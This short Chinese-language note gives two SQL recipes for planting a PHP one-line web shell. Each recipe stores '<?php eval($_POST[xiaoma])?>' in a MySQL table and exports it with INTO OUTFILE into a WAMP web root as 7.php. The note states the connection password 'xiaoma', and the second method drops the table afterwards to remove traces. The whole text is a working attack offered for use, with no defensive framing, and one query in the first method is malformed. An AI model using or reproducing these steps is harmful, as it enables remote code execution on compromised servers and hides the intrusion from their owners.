方法一:
CREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL );
INSERT INTO `mysql`.`xiaoma` (`xiaoma1` )VALUES (‘<?php @eval($_POST[xiaoma])?>‘);
SELECT xiaomaFROM study INTO OUTFILE ‘E:/wamp/www/7.php‘;
----以上同时执行,在数据库: mysql 下创建一个表名为:xiaoma,字段为xiaoma1,导出到E:/wamp/www/7.php
一句话连接密码:xiaoma
方法二:
Create TABLE xiaoma (xiaoma1 text NOT NULL);
Insert INTO xiaoma (xiaoma1) VALUES(‘<?php eval($_POST[xiaoma])?>‘);
select xiaoma1 from xiaoma into outfile ‘E:/wamp/www/7.php‘;
Drop TABLE IF EXISTS xiaoma;